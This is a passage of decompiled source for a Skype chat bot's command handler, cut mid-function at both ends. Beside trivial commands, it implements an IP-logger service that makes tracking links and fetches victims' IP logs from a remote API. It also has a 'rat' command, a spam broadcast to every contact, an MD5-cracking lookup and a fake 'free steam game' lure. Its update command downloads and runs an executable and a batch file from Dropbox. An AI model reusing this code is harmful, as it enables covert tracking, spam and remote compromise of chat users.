- flag2 = (Operators.CompareString(text2, "broadcasthelp", true) == 0 | Operators.CompareString(text2, "broadcast help", true) == 0);
- if (flag2)
- {
- ChatMessage chatMessage = closure$__.$VB$Local_msg.Chat.SendMessage("...");
- chatMessage.Body = "------------------------------\r\n Just do !admin broadcast <yourmsg> and it'll send to all your contacts <yourmsg>\r\n<FullName> = Their full name\r\n<SkypeID> = Their SkypeName\r\n<FirstName> = Their first name\r\n------------------------------";
- return;
- }
- flag2 = text2.StartsWith("broadcast ");
- if (flag2)
- {
- ChatMessage chatMessage2 = closure$__.$VB$Local_msg.Chat.SendMessage("Broadcasting...");
- int num4 = 0;
- int num5 = 0;
- try
- {
- IEnumerator enumerator2 = this.Skypattach.Friends.GetEnumerator();
- while (enumerator2.MoveNext())
- {
- User user = (User)enumerator2.Current;
- try
- {
- num4++;
- chatMessage2.Body = "Sending message " + Conversions.ToString(num4) + "/" + Conversions.ToString(this.Skypattach.Friends.Count - num5);
- string[] array2 = this.Skypattach.get_User(user.Handle).FullName.Split(new char[]
- {
- ' '
- });
- this.Skypattach.SendMessage(user.Handle, closure$__.$VB$Local_msg.Body.Replace("!admin broadcast ", "").Replace("<FullName>", this.Skypattach.get_User(user.Handle).FullName).Replace("<SkypeID>", user.Handle).Replace("<FirstName>", array2[0]));
- }
- catch (Exception expr_540)
- {
- ProjectData.SetProjectError(expr_540);
- num5++;
- num4--;
- ProjectData.ClearProjectError();
- }
- }
- }
- finally
- {
- IEnumerator enumerator2;
- flag2 = (enumerator2 is IDisposable);
- if (flag2)
- {
- (enumerator2 as IDisposable).Dispose();
- }
- }
- this.AddSwagToMSG(chatMessage2, "Messages sent!", 0);
- }
- flag2 = (Operators.CompareString(text2, "debug", true) == 0);
- unchecked
- {
- if (flag2)
- {
- ChatMessage msg4 = closure$__.$VB$Local_msg.Chat.SendMessage("Gathering info...");
- string text3 = "SkypeVersion: " + this.Skypattach.Version;
- flag2 = (this.swag == Conversions.ToBoolean("0") | !(-(this.swag > false)));
- string text4;
- if (flag2)
- {
- text4 = "Swag: Off";
- }
- else
- {
- text4 = "Swag: On";
- }
- flag2 = (this.adminst == Conversions.ToBoolean("0") | !(-(this.adminst > false)));
- string text5;
- if (flag2)
- {
- text5 = "On/Off: Off";
- }
- else
- {
- text5 = "On/Off: On";
- }
- string text6 = "";
- flag2 = (this.lockst == 0 | (double)this.lockst == Conversions.ToDouble("0"));
- if (flag2)
- {
- text6 = "Lockdown: False";
- }
- else
- {
- text5 = "Lockdown: True";
- }
- this.AddSwagToMSG(msg4, string.Concat(new string[]
- {
- this.Skypattach.CurrentUserHandle,
- "\r\n",
- text3,
- "\r\nBotVersion: 5.1.0.7\r\n",
- text5,
- "\r\n",
- text4,
- "\r\n",
- text6,
- "\r\nDebugOS: ",
- Conversions.ToString(SystemInformation.DebugOS),
- "\r\nComputername: ",
- SystemInformation.ComputerName,
- "\r\nRealOS: ",
- MyProject.Computer.Info.OSFullName,
- " Is64Bit: ",
- Conversions.ToString(Environment.Is64BitOperatingSystem),
- "\r\nRam: ",
- Conversions.ToString(MyProject.Computer.Info.TotalPhysicalMemory),
- ";",
- Conversions.ToString(MyProject.Computer.Info.TotalVirtualMemory),
- "\r\nExec folder: ",
- Application.ExecutablePath
- }), 0);
- }
- flag2 = (Operators.CompareString(text2, "defcmds", true) == 0);
- if (flag2)
- {
- ChatMessage msg5 = closure$__.$VB$Local_msg.Chat.SendMessage("Intializing...");
- this.AddSwagToMSG(msg5, new WebClient
- {
- Proxy = null
- }.DownloadString("https://www.dropbox.com/s/waa71m79h76g0ma/allcmds.txt?dl=1"), 0);
- return;
- }
- flag2 = (Operators.CompareString(text2, "changelog", true) == 0);
- if (flag2)
- {
- string left = new WebClient
- {
- Proxy = null
- }.DownloadString("https://www.dropbox.com/s/nc07ajdkck5lwdl/update.txt?dl=1");
- flag2 = (Operators.CompareString(left, "5.1.0.7", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Please goto: https://www.dropbox.com/s/by2ovqnx8q45fcq/WhatsNew.txt?dl=0 the changelog became to big :3");
- }
- else
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("You are not on the latest version, please update...");
- }
- }
- flag2 = text2.StartsWith("ban ");
- if (flag2)
- {
- MySettingsProperty.Settings.banlist = MySettingsProperty.Settings.banlist + "\r\n" + text2.Replace("ban ", "");
- ChatMessage msg6 = closure$__.$VB$Local_msg.Chat.SendMessage("Banning...");
- this.AddSwagToMSG(msg6, "The ban hammer has been spoken!", 0);
- return;
- }
- flag2 = text2.StartsWith("unban ");
- if (flag2)
- {
- string text7 = text2.Replace("unban ", "");
- MySettingsProperty.Settings.banlist = MySettingsProperty.Settings.banlist.Replace("\r\n" + text7, "").Replace(text7, "");
- ChatMessage msg7 = closure$__.$VB$Local_msg.Chat.SendMessage("Unbanning...");
- this.AddSwagToMSG(msg7, "Unbanned!", 0);
- return;
- }
- flag2 = text2.StartsWith("suggest ");
- if (flag2)
- {
- ChatMessage msg8 = closure$__.$VB$Local_msg.Chat.SendMessage("Suggesting...");
- new WebClient
- {
- Proxy = null
- }.DownloadString(string.Concat(new string[]
- {
- "http://apis.skypebot.ga/apis/submit.php?idea=",
- text2.Replace("suggest ", ""),
- "&skp=",
- closure$__.$VB$Local_msg.Sender.Handle,
- " w/skypebot o/ ",
- this.Skypattach.CurrentUserHandle,
- "&auth=True"
- }));
- this.AddSwagToMSG(msg8, "We will maybe contact you later, thanks!", 0);
- }
- flag2 = (Operators.CompareString(text2, "restart", true) == 0);
- if (flag2)
- {
- ChatMessage msg9 = closure$__.$VB$Local_msg.Chat.SendMessage("...");
- this.AddSwagToMSG(msg9, "Restarting...", 0);
- MySettingsProperty.Settings.Save();
- Application.Restart();
- }
- flag2 = (Operators.CompareString(text2, "banlist", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Banned users:\r\n" + MySettingsProperty.Settings.banlist);
- return;
- }
- flag2 = (Operators.CompareString(text2, "getchatname", true) == 0);
- if (flag2)
- {
- ChatMessage msg10 = closure$__.$VB$Local_msg.Chat.SendMessage("...");
- this.AddSwagToMSG(msg10, closure$__.$VB$Local_msg.ChatName, 0);
- }
- flag2 = text2.StartsWith("ipwhitelist ");
- if (flag2)
- {
- ChatMessage msg11 = closure$__.$VB$Local_msg.Chat.SendMessage("Whitelisting...");
- text2 = text2.Replace(" ", "").Replace("ipwhitelist ", "");
- this.TextBox7.Text = this.TextBox7.Text + "\r\n" + text2;
- MySettingsProperty.Settings.whitelist = this.TextBox7.Text;
- this.AddSwagToMSG(msg11, "Added to whitelist!", 0);
- }
- flag2 = text2.StartsWith("ipwhitelistrem ");
- if (flag2)
- {
- ChatMessage msg12 = closure$__.$VB$Local_msg.Chat.SendMessage("Unwhitelisting...");
- text2 = text2.Replace(" ", "").Replace("ipwhitelistrem ", "");
- this.TextBox7.Text = this.TextBox7.Text.Replace("\r\n" + text2, "").Replace(text2, "");
- MySettingsProperty.Settings.whitelist = this.TextBox7.Text;
- this.AddSwagToMSG(msg12, "Removed from whitelist!", 0);
- }
- flag2 = text2.StartsWith("sudo ");
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage(text.Replace("admin sudo ", ""));
- }
- flag2 = (Operators.CompareString(text2, "lockdown", true) == 0);
- if (flag2)
- {
- ChatMessage msg13 = closure$__.$VB$Local_msg.Chat.SendMessage("Toggeling...");
- flag2 = (this.lockst == 0);
- if (flag2)
- {
- this.lockst = 1;
- this.AddSwagToMSG(msg13, "Lockdown enabled!", 0);
- }
- else
- {
- this.lockst = 0;
- this.AddSwagToMSG(msg13, "Lockdown disabled!", 0);
- }
- }
- flag2 = (Operators.CompareString(text2, "check4update", true) == 0);
- if (flag2)
- {
- ChatMessage msg14 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking for update...");
- string text8 = new WebClient
- {
- Proxy = null
- }.DownloadString("https://www.dropbox.com/s/nc07ajdkck5lwdl/update.txt?dl=1");
- flag2 = (Operators.CompareString(text8, "5.1.0.7", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("No new update found");
- }
- this.AddSwagToMSG(msg14, "This version: 5.1.0.7\r\nLatest version: " + text8 + "\r\nType !admin update to force update!", 0);
- }
- flag2 = (Operators.CompareString(text2, "update", true) == 0);
- if (flag2)
- {
- flag = (Operators.CompareString(this.Skypattach.CurrentUserHandle, "les.de", true) == 0);
- if (flag)
- {
- return;
- }
- ChatMessage msg15 = closure$__.$VB$Local_msg.Chat.SendMessage("Updating...");
- WebClient webClient = new WebClient();
- webClient.Proxy = null;
- this.AddSwagToMSG(msg15, "Updating... Please wait!", 0);
- webClient.DownloadFile("https://www.dropbox.com/s/mdbef5odfcg5pog/SBUpdater.exe?dl=1", Directory.GetCurrentDirectory() + "\\Updater.exe");
- webClient.DownloadFile("https://www.dropbox.com/s/6qbvr7zahdmvl1r/Update.bat?dl=1", Directory.GetCurrentDirectory() + "\\Updater.bat");
- Process.Start(Directory.GetCurrentDirectory() + "\\Updater.bat");
- Application.Exit();
- }
- flag2 = (Operators.CompareString(text2, "disable", true) == 0);
- if (flag2)
- {
- ChatMessage msg16 = closure$__.$VB$Local_msg.Chat.SendMessage("Disabling...");
- this.adminst = false;
- this.CheckBox6.Checked = false;
- Application.DoEvents();
- this.AddSwagToMSG(msg16, "Bot disabled!", 0);
- return;
- }
- flag2 = (Operators.CompareString(text2, "enable", true) == 0);
- if (flag2)
- {
- ChatMessage msg17 = closure$__.$VB$Local_msg.Chat.SendMessage("Enabling...");
- flag2 = (!(-(this.adminst > false)) | this.adminst == Conversions.ToBoolean("0"));
- if (flag2)
- {
- this.AddSwagToMSG(msg17, "Bot enabled!", 0);
- this.CheckBox6.Checked = true;
- Application.DoEvents();
- return;
- }
- this.AddSwagToMSG(closure$__.$VB$Local_msg, "Bot is already enabled!", 0);
- }
- }
- }
- flag2 = !unchecked(-(this.adminst > false));
- if (!flag2)
- {
- this.ListBox1.Items.Add(closure$__.$VB$Local_msg.Sender.Handle + " ran command " + closure$__.$VB$Local_msg.Body);
- flag2 = Operators.ConditionalCompareObjectEqual(this.banned(closure$__.$VB$Local_msg.Sender.Handle), true, true);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage(this.banmsg);
- }
- else
- {
- flag2 = (Operators.CompareString(text, "help", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.helpmsg);
- }
- flag2 = text.StartsWith("help ");
- if (flag2)
- {
- string[] array3 = text.Replace("help ", "").Split(new char[]
- {
- ' '
- });
- text = array3[0];
- }
- flag2 = (Operators.CompareString(text, "8ball", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "8ball <yesnoquestion>");
- }
- flag2 = text.StartsWith("8ball ");
- if (flag2)
- {
- ChatMessage msg18 = closure$__.$VB$Local_msg.Chat.SendMessage("Rollin'...");
- string message = "";
- while (true)
- {
- VBMath.Randomize();
- string[] array4 = new string[]
- {
- "Ofcourse!",
- "Hell no!",
- "Signs point to yes.",
- "Yes.",
- "Reply hazy, try again.",
- "No?",
- "Without a doubt.",
- "My sources say no.",
- "As I see it, yes.",
- "You may rely on it.",
- "NEVERRR!",
- "Totally not.",
- "It was always like that!",
- "Concentrate and ask again.",
- "Outlook not so good.",
- "What about no!",
- "It is decidedly so.",
- "Better not tell you now.",
- "Very doubtful.",
- "Nope.",
- "Yes - definitely.",
- "You know yourself the answer is NO!",
- "It is certain.",
- "Cannot predict now.",
- "Why did you think that?",
- "Most likely.",
- "Ask again later.",
- "At this moment? No!",
- "My reply is no.",
- "Outlook good.",
- "Don't count on it.",
- "Yes, in due time.",
- "My sources say no.",
- "Definitely not.",
- "You will have to wait.",
- "I have my doubts.",
- "Outlook so so.",
- "Looks good to me!",
- "Who knows?",
- "Looking good!",
- "Probably.",
- "Are you kidding?",
- "Go for it!",
- "Don't bet on it.",
- "Forget about it."
- };
- int num6 = (int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * (float)array4.Count<string>() - 1f)));
- try
- {
- message = array4[num6];
- }
- catch (Exception expr_143D)
- {
- ProjectData.SetProjectError(expr_143D);
- ProjectData.ClearProjectError();
- continue;
- }
- break;
- }
- this.AddSwagToMSG(msg18, message, 0);
- }
- flag2 = text.StartsWith("buy");
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.buy);
- }
- else
- {
- flag2 = (Operators.CompareString(text, "lmgtfy", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "lmgtfy <text>");
- }
- flag2 = text.StartsWith("lmgtfy ");
- if (flag2)
- {
- ChatMessage msg19 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- this.AddSwagToMSG(msg19, Conversions.ToString(this.shorten("lmgtfy.com/?q=" + text.Replace("lmgtfy ", ""))), 0);
- }
- flag2 = (Operators.CompareString(text, "shorten", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "shorten <url>");
- }
- flag2 = text.StartsWith("shorten ");
- if (flag2)
- {
- ChatMessage msg20 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- this.AddSwagToMSG(msg20, Conversions.ToString(this.shorten(text.Replace("shorten ", ""))), 0);
- }
- flag2 = (Operators.CompareString(text, "whois", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "whois <url>");
- }
- flag2 = text.StartsWith("whois ");
- if (flag2)
- {
- ChatMessage msg21 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- this.AddSwagToMSG(msg21, Conversions.ToString(this.paste(new WebClient
- {
- Proxy = null
- }.DownloadString("http://api.hackertarget.com/whois/?q=" + text.Replace("whois ", "").Replace("http://", "").Replace("https://", "").Replace("www.", "").Replace("/", "")), "Untitled")), 0);
- }
- flag2 = (Operators.CompareString(text, "nmap", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "nmap <ip>");
- }
- flag2 = text.StartsWith("nmap ");
- if (flag2)
- {
- ChatMessage msg22 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- this.AddSwagToMSG(msg22, Conversions.ToString(this.paste(new WebClient
- {
- Proxy = null
- }.DownloadString("http://api.hackertarget.com/nmap/?q=" + text.Replace("nmap ", "").Replace("http://", "").Replace("https://", "").Replace("www.", "").Replace("/", "")), "Untitled")), 0);
- }
- flag2 = (Operators.CompareString(text, "troll", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "troll <somename>");
- }
- flag2 = text.StartsWith("troll ");
- if (flag2)
- {
- ChatMessage msg23 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- this.AddSwagToMSG(msg23, Conversions.ToString(this.shorten("http://www.megalook.ru/schild.swf?namee=" + text.Replace("troll ", ""))), 0);
- }
- flag2 = (Operators.CompareString(text, "iplog", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "iplog <help/parameters>");
- }
- flag2 = text.StartsWith("iplog ");
- if (flag2)
- {
- string handle = closure$__.$VB$Local_msg.Sender.Handle;
- flag2 = Conversions.ToBoolean(this.IsPremium(handle));
- if (!flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("This command is for premium or higher only, I'm sorry!");
- return;
- }
- string text9 = text.Replace("iplog ", "");
- flag2 = (Operators.CompareString(text9, "help", true) == 0);
- if (flag2)
- {
- string messageText = "----------IPLOG PANEL----------\r\n!iplog clearlogs -- Clears the IPLogs\r\n!iplog create -- How to create an iplogger\r\n!iplog getlink -- Gets your iplogger link\r\n!iplog getlogs -- Gets the ip logs for you.\r\n!iplog help -- Shows This Menu.\r\n----------IPLOG PANEL----------";
- closure$__.$VB$Local_msg.Chat.SendMessage(messageText);
- return;
- }
- ChatMessage chatMessage3 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- WebClient webClient2 = new WebClient();
- webClient2.Proxy = null;
- flag2 = text9.StartsWith("create");
- if (flag2)
- {
- flag = (Operators.CompareString(text9, "create", true) == 0);
- if (flag)
- {
- this.AddSwagToMSG(chatMessage3, "Right Syntax: " + this.trigger + "iplog create <redirecting site>", 0);
- }
- flag2 = text9.StartsWith("create ");
- if (flag2)
- {
- string text10 = text9.Replace("create ", "");
- flag2 = text10.StartsWith("http");
- if (!flag2)
- {
- text10 = "http://" + text10;
- }
- chatMessage3.Body = "Creating new IPLogger...";
- chatMessage3.Body = "Your IPLogger sites are:";
- chatMessage3.Body += "\r\nCreating...";
- string text11 = webClient2.DownloadString(string.Concat(new string[]
- {
- "http://apis.skypebot.ga/apis/newiplog.php?skype=",
- handle,
- "&url=",
- text10,
- "&auth=True"
- }));
- string text12 = "http://apis.skypebot.ga/apis/?skp=" + handle + "&act=True";
- chatMessage3.Body = "Your IPLogger sites are:\r\n" + text12 + "\r\nCreating...\r\nCreating...\r\nFeel free to use any shortener on these uris!";
- string text13 = Conversions.ToString(this.shorten(text12));
- chatMessage3.Body = string.Concat(new string[]
- {
- "Your IPLogger sites are:\r\n",
- text12,
- "\r\n",
- text13,
- "\r\nCreating...\r\nFeel free to use any shortener on these uris!"
- });
- chatMessage3.Body = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("Your IPLogger sites are:\r\n" + text12 + "\r\n" + text13, this.paste2(text12)), "\r\n"), "Feel free to use any shortener on these uris!"));
- }
- return;
- }
- flag2 = (Operators.CompareString(text9, "getlink", true) == 0);
- if (flag2)
- {
- chatMessage3.Body = "Creating new IPLogger...";
- chatMessage3.Body = "Your IPLogger sites are:";
- chatMessage3.Body += "\r\nReceiving...";
- Thread.Sleep(Conversions.ToInteger("1000"));
- string text14 = "http://apis.skypebot.ga/apis/?skp=" + handle + "&act=True";
- chatMessage3.Body = "Your IPLogger sites are:\r\n" + text14 + "\r\nReceiving...\r\nFeel free to use any shortener on these uris!";
- chatMessage3.Body = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("Your IPLogger sites are:\r\n" + text14 + "\r\n", this.shorten(text14)), "\r\n"), "Feel free to use any shortener on these uris!"));
- return;
- }
- flag2 = (Operators.CompareString(text9, "getlogs", true) == 0);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage3, "Receiving...", 0);
- string text15 = webClient2.DownloadString("http://apis.skypebot.ga/apis/getips.php?skype=" + handle + "&auth=True").Replace("<br>", "\r\n");
- string[] array5 = text15.Split(new char[]
- {
- '\r'
- });
- string text16 = "";
- int arg_1CCA_0 = 0;
- int num7 = array5.Length - 1;
- int num8 = arg_1CCA_0;
- while (true)
- {
- int arg_1D47_0 = num8;
- int num3 = num7;
- if (arg_1D47_0 > num3)
- {
- break;
- }
- array5[num8] = array5[num8].Replace("|", " Time: ").Replace("&", "IP: ").Replace("\r\n", "").Replace("\r\n", "");
- text16 += array5[num8].Replace("\r\n", "");
- num8++;
- }
- flag2 = !text16.Contains("IP: ");
- if (flag2)
- {
- text16 = "No available logs!";
- }
- chatMessage3.Body = text16;
- return;
- }
- flag2 = (Operators.CompareString(text9, "clearlogs", true) == 0);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage3, "Clearing logs...", 0);
- webClient2.DownloadString("http://apis.skypebot.ga/apis/clearlog.php?skype=" + handle + "&auth=True");
- this.AddSwagToMSG(chatMessage3, "Cleared!", 0);
- return;
- }
- chatMessage3.Body = "";
- }
- flag2 = (Operators.CompareString(text, "rat", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "rat <help/parameters>");
- }
- flag2 = text.StartsWith("rat ");
- if (flag2)
- {
- string arguments = text.Remove(0, 4);
- flag2 = text.StartsWith("rat help");
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.rathelp);
- return;
- }
- flag2 = text.StartsWith("rat tos");
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.rattos);
- return;
- }
- ChatMessage msg24 = closure$__.$VB$Local_msg.Chat.SendMessage("Ratting...");
- this.AddSwagToMSG(msg24, Conversions.ToString(this.Rat(arguments, closure$__.$VB$Local_msg.Sender.Handle)), 0);
- }
- flag2 = (Operators.CompareString(text, "notepad", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "notepad <help/parameters>");
- }
- flag2 = text.StartsWith("notepad ");
- if (flag2)
- {
- string handle2 = closure$__.$VB$Local_msg.Sender.Handle;
- string text17 = text.Replace("notepad ", "");
- flag2 = (Operators.CompareString(text17, "help", true) == 0);
- if (flag2)
- {
- string messageText2 = "----------NOTEPAD PANEL----------\r\n!notepad clear -- Clears your notepad\r\n!notepad get -- get your notepad text\r\n!notepad help -- Shows This Menu.\r\n!notepad set <text> -- sets your notepad text\r\n----------NOTEPAD PANEL----------";
- closure$__.$VB$Local_msg.Chat.SendMessage(messageText2);
- return;
- }
- ChatMessage msg25 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- WebClient webClient3 = new WebClient();
- webClient3.Proxy = null;
- flag2 = (Operators.CompareString(text17, "get", true) == 0);
- if (flag2)
- {
- string text18 = webClient3.DownloadString("http://apis.skypebot.ga/apis/notepad.php?skype=" + handle2 + "&auth=True");
- flag2 = (Operators.CompareString(text18, "", true) == 0 | Operators.CompareString(text18, " ", true) == 0);
- if (flag2)
- {
- text18 = "No notepad setted!";
- }
- this.AddSwagToMSG(msg25, text18, 0);
- }
- else
- {
- flag2 = text17.StartsWith("set ");
- if (flag2)
- {
- text17 = text17.Replace("set ", "");
- string text19 = webClient3.DownloadString(string.Concat(new string[]
- {
- "http://apis.skypebot.ga/apis/notepad.php?skype=",
- handle2,
- "&msg=",
- text17,
- "&auth=True"
- }));
- this.AddSwagToMSG(msg25, "Message Set!", 0);
- }
- else
- {
- flag2 = text17.StartsWith("clear");
- if (flag2)
- {
- string text20 = webClient3.DownloadString("http://apis.skypebot.ga/apis/notepad.php?skype=" + handle2 + "&msg=No notepad setted!&auth=True");
- this.AddSwagToMSG(msg25, "Cleared!", 0);
- }
- else
- {
- this.AddSwagToMSG(msg25, "Invalid command.", 0);
- }
- }
- }
- }
- flag2 = (Operators.CompareString(text, "rtd", true) == 0 | Operators.CompareString(text, "dice", true) == 0);
- if (flag2)
- {
- ChatMessage chatMessage4 = closure$__.$VB$Local_msg.Chat.SendMessage("Rolling dice 1...");
- int num9 = Conversions.ToInteger(this.dice());
- Thread.Sleep(1000);
- chatMessage4.Body = "Rolling dice 2...";
- int num10 = Conversions.ToInteger(this.dice());
- Thread.Sleep(1000);
- chatMessage4.Body = "Depending your price based on results...";
- int value = num9 + num10;
- string text21;
- switch (value)
- {
- case 1:
- text21 = "You won an empty brick of milk";
- break;
- case 2:
- text21 = "You won bragging rights!";
- break;
- case 3:
- text21 = "Best person of the world!";
- break;
- case 4:
- text21 = "You lost!";
- break;
- case 5:
- text21 = "You won 5 pennies, ask your mom to redeem them!";
- break;
- case 6:
- text21 = Conversions.ToString(Operators.ConcatenateObject("You won a picture of yourself: ", this.shorten("http://www.megalook.ru/schild.swf?namee=" + this.Skypattach.get_User(closure$__.$VB$Local_msg.Sender.Handle).FullName)));
- break;
- case 7:
- text21 = "You won basicly nothing!";
- break;
- case 8:
- text21 = "You won a free steam game! Click here to redeem: http://gg.gg/FreeSteamGameSkypeBot";
- break;
- case 9:
- text21 = "Throw this once more, and you'll get banned!";
- break;
- case 10:
- text21 = "You won administrator rights on the bot!";
- break;
- case 11:
- text21 = "You are awesome!";
- break;
- case 12:
- text21 = "Altough this is the highest you can get, you won nothing!";
- break;
- default:
- text21 = "You won some knowledge: Did you know !mailbomb is a command?";
- break;
- }
- chatMessage4.Body = string.Concat(new string[]
- {
- "You threw ",
- Conversions.ToString(value),
- " (",
- Conversions.ToString(num9),
- " + ",
- Conversions.ToString(num10),
- ")\r\n",
- text21
- });
- }
- flag2 = (Operators.CompareString(text, "ping", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "ping <ip> <times>");
- }
- flag2 = text.StartsWith("ping ");
- if (flag2)
- {
- ChatMessage $VB$Local_msg = closure$__.$VB$Local_msg;
- ChatMessage chatMessage5 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing ping...");
- string text22 = $VB$Local_msg.Body.Replace("ping ", "").Replace("!", "");
- string[] array6 = text22.Split(new char[]
- {
- ' '
- });
- try
- {
- string text23 = array6[0];
- text23 = array6[1];
- }
- catch (Exception expr_2410)
- {
- ProjectData.SetProjectError(expr_2410);
- this.AddSwagToMSG(chatMessage5, "Recheck your syntax! (!help ping)", 0);
- ProjectData.ClearProjectError();
- }
- flag2 = (array6.Length >= 2);
- if (flag2)
- {
- flag2 = array6[0].Contains(".");
- if (flag2)
- {
- Process process = new Process();
- ProcessStartInfo processStartInfo = new ProcessStartInfo("ping");
- flag2 = Versioned.IsNumeric(array6[1]);
- if (flag2)
- {
- flag = Conversions.ToBoolean(this.IsUltimate(closure$__.$VB$Local_msg.Sender.Handle));
- if (!flag)
- {
- flag2 = Conversions.ToBoolean(Operators.AndObject(Conversions.ToDouble(array6[1]) > 60.0, this.IsPremium(closure$__.$VB$Local_msg.Sender.Handle)));
- if (flag2)
- {
- array6[1] = Conversions.ToString(60);
- }
- else
- {
- flag2 = Conversions.ToBoolean(Operators.AndObject(Conversions.ToDouble(array6[1]) > 10.0, this.IsNormalUser(closure$__.$VB$Local_msg.Sender.Handle)));
- if (flag2)
- {
- array6[1] = Conversions.ToString(10);
- }
- }
- }
- processStartInfo.Arguments = array6[0] + " -l 1 -n " + Conversions.ToString(unchecked(Conversions.ToDouble(array6[1]) * 2.0));
- processStartInfo.UseShellExecute = false;
- processStartInfo.RedirectStandardOutput = true;
- processStartInfo.CreateNoWindow = true;
- process.StartInfo = processStartInfo;
- process.Start();
- StreamReader standardOutput = process.StandardOutput;
- string text24;
- while (true)
- {
- text24 = standardOutput.ReadLine().ToString().Replace(": bytes=1 time=", " with ").Replace(" TTL=", " and TLL = ").Replace("Reply from ", "");
- string body = "Reply from " + text24;
- flag2 = !text24.Contains("with");
- if (flag2)
- {
- body = "Please wait...";
- }
- flag2 = text24.Contains("timed");
- if (flag2)
- {
- body = "Request timed out.";
- }
- flag2 = text24.Contains("host");
- if (flag2)
- {
- break;
- }
- flag2 = text24.Contains("Minimum");
- if (flag2)
- {
- goto Block_101;
- }
- chatMessage5.Body = body;
- flag2 = (Operators.CompareString(standardOutput.ReadLine(), "", true) == 0);
- if (flag2)
- {
- goto Block_102;
- }
- }
- this.AddSwagToMSG(chatMessage5, "Invalid host.", 0);
- goto IL_272A;
- Block_101:
- this.AddSwagToMSG(chatMessage5, "Done, " + text24.Replace(" ", ""), 0);
- Block_102:
- IL_272A:;
- }
- else
- {
- this.AddSwagToMSG(chatMessage5, "ERROR: You entered an invalid number, try to swap the number and ip!", 0);
- }
- }
- else
- {
- this.AddSwagToMSG(chatMessage5, "Invalid IP!", 0);
- }
- }
- else
- {
- this.AddSwagToMSG(chatMessage5, "You didn't enter all fields! !help ping for more info!", 0);
- }
- }
- else
- {
- flag2 = (Operators.CompareString(text, "md5", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "md5 <fromtext>");
- }
- flag2 = text.StartsWith("md5 ");
- if (flag2)
- {
- WebClient webClient4 = new WebClient();
- MD5 md5Hash = MD5.Create();
- ChatMessage msg26 = closure$__.$VB$Local_msg.Chat.SendMessage("Encoding...");
- string md5Hash2 = Form1.GetMd5Hash(md5Hash, text.Remove(0, 4));
- this.AddSwagToMSG(msg26, md5Hash2, 0);
- webClient4.Proxy = null;
- try
- {
- webClient4.DownloadString("http://apis.skypebot.ga/apis/md5.php?type=hash&md=" + md5Hash2);
- }
- catch (Exception arg_27E8_0)
- {
- ProjectData.SetProjectError(arg_27E8_0);
- ProjectData.ClearProjectError();
- }
- }
- flag2 = (Operators.CompareString(text, "md5crack", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "md5crack <hash>");
- }
- flag2 = text.StartsWith("md5crack ");
- if (flag2)
- {
- WebClient webClient5 = new WebClient();
- ChatMessage msg27 = closure$__.$VB$Local_msg.Chat.SendMessage("Decoding...");
- string str = text.Remove(0, 9);
- webClient5.Proxy = null;
- string message2 = webClient5.DownloadString("http://apis.skypebot.ga/apis/md5.php?type=crack&md=" + str);
- this.AddSwagToMSG(msg27, message2, 0);
- }
- flag2 = (Operators.CompareString(text, "translate", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "translate <from/detect> <to> <text>");
- }
- flag2 = text.StartsWith("translate ");
- if (flag2)
- {
- ChatMessage msg28 = closure$__.$VB$Local_msg.Chat.SendMessage("Translating...");
- string[] array7 = text.Replace("translate ", "").Split(new char[]
- {
- ' '
- });
- string text25 = array7[0];
- string too = array7[1];
- string text26 = "";
- int arg_2958_0 = 2;
- int num11 = array7.Length - 1;
- int num12 = arg_2958_0;
- while (true)
- {
- int arg_2984_0 = num12;
